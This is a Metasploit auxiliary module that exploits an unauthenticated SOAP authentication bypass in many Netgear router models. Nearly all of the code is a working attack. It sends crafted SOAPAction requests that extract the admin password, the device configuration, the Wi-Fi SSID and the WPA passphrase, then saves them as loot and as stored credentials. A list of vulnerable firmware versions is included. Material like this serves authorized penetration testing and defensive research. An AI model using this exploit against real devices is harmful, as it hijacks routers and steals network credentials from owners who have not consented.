Netgear Unauthenticated SOAP Password Extractor

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name' => 'Netgear Unauthenticated SOAP Password Extractor',
      'Description' => %q{
        This module exploits an authentication bypass vulnerability in different Netgear devices.
        It allows to extract the password for the remote management interface. This module has been
        tested on a Netgear WNDR3700v4 - V1.0.1.42, but other devices are reported as vulnerable:
        NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88,
        NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas),
        NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz),
        NetGear WNDR3700v1 - V1.0.7.98 (Tested by Michal Bartoszkiewicz),
        NetGear WNDR4300 - V1.0.1.60 (Tested by Ronny Lindner),
        NetGear R6300v2 - V1.0.3.8 (Tested by Robert Mueller),
        NetGear WNDR3300 - V1.0.45 (Tested by Robert Mueller),
        NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor),
        NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree),
        NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton),
        NetGear WNR2000v3 - v1.1.2.10 (Tested by h00die)
      },
      'References' => [
        [ 'BID', '72640' ],
        [ 'OSVDB', '118316' ],
        [ 'URL', 'https://github.com/darkarnium/secpub/tree/master/Vulnerabilities/NetGear/SOAPWNDR' ]
      ],
      'Author' => [
        'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery
        'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
        'h00die <[email protected]>' # Metasploit enhancements/docs
      ],
      'License' => MSF_LICENSE,
      'DisclosureDate' => 'Feb 11 2015'
    )
  end

  def run
    print_status('Trying to access the configuration of the device')

    # extract device details
    action = 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo'
    print_status('Extracting Firmware version...')
    extract_data(action)

    # extract credentials
    action = 'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo'
    print_status('Extracting credentials...')
    extract_data(action)

    # extract wifi info
    action = 'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo'
    print_status('Extracting Wifi...')
    extract_data(action)

    # extract WPA info
    action = 'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys'
    print_status('Extracting WPA Keys...')
    extract_data(action)
  end

  def extract_data(soap_action)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/',
      'headers' => {
        'SOAPAction' => soap_action
      },
      'data' => '='
    })

    return if res.nil?
    return if res.code == 404
    return if res.headers['Server'].nil?
    # unknown if other devices have other Server headers
    return if res.headers['Server'] !~ %r{Linux/2.6.15 uhttpd/1.0.0 soap/1.0}

    if res.body =~ %r{<NewPassword>(.*)</NewPassword>}
      print_status('Credentials found, extracting...')
      extract_credentials(res.body)
    end

    if res.body =~ %r{<ModelName>(.*)</ModelName>}
      model_name = ::Regexp.last_match(1)
      print_good("Model #{model_name} found")
    end

    if res.body =~ %r{<Firmwareversion>(.*)</Firmwareversion>}
      firmware_version = ::Regexp.last_match(1)
      print_good("Firmware version #{firmware_version} found")

      # store all details as loot
      loot = store_loot('netgear_soap_device.config', 'text/plain', rhost, res.body)
      print_good("Device details downloaded to: #{loot}")
    end

    if res.body =~ %r{<NewSSID>(.*)</NewSSID>}
      ssid = ::Regexp.last_match(1)
      print_good("Wifi SSID: #{ssid}")
    end

    if res.body =~ %r{<NewBasicEncryptionModes>(.*)</NewBasicEncryptionModes>}
      wifi_encryption = ::Regexp.last_match(1)
      print_good("Wifi Encryption: #{wifi_encryption}")
    end

    if res.body =~ %r{<NewWPAPassphrase>(.*)</NewWPAPassphrase>}
      wifi_password = ::Regexp.last_match(1)
      print_good("Wifi Password: #{wifi_password}")
    end
  rescue ::Rex::ConnectionError
    vprint_error('Failed to connect to the web server')
    return
  end

  def extract_credentials(body)
    body.each_line do |line|
      next unless line =~ %r{<NewPassword>(.*)</NewPassword>}

      pass = ::Regexp.last_match(1)
      print_good("admin / #{pass} credentials found")

      connection_details = {
        module_fullname: fullname,
        private_data: pass,
        private_type: :password,
        username: 'admin',
        status: Metasploit::Model::Login::Status::UNTRIED
      }.merge(service_details)
      create_credential_and_login(connection_details)
    end

    # store all details as loot
    loot = store_loot('netgear_soap_account.config', 'text/plain', rhost, body)
    print_good("Account details downloaded to: #{loot}")
  end
end